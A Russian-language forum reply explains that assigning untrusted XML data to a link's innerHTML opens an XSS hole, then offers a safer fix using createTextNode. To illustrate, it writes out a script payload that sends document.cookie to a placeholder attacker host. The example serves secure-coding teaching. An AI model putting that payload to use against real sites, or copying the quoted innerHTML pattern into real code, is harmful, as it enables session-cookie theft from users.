Здравствуйте, XJess, Вы писали:
XJ>2. Есть ссылка <a> с id="DataProvider", у которой нужно динамически задать то, что будет между <a> и </a> и значение href.
XJ>Пишу такой код:
XJ>var DataProviderName = // как-то получается из xml (не суть важно как)
XJ>if (DataProviderName != null)
XJ> document.getElementById("DataProvider").innerHTML = DataProviderName;
Неправильно. Завтра прилетит DataProviderName = "<script>window.location='
http://evil.site.com/?'+document.cookie</script>", послезавтра в утренних газетах — «в сайте example.com обнаружена XSS-уязвимость».
Как правильно (пишу без тестирования, доработать напильником):
var a = document.getElementById("DataProvider");
if (0 == a.childNodes.length)
{
a.appendChild(document.createTextNode(DataProviderName));
}
else
{
a.firstChild.data = DataProviderName;
}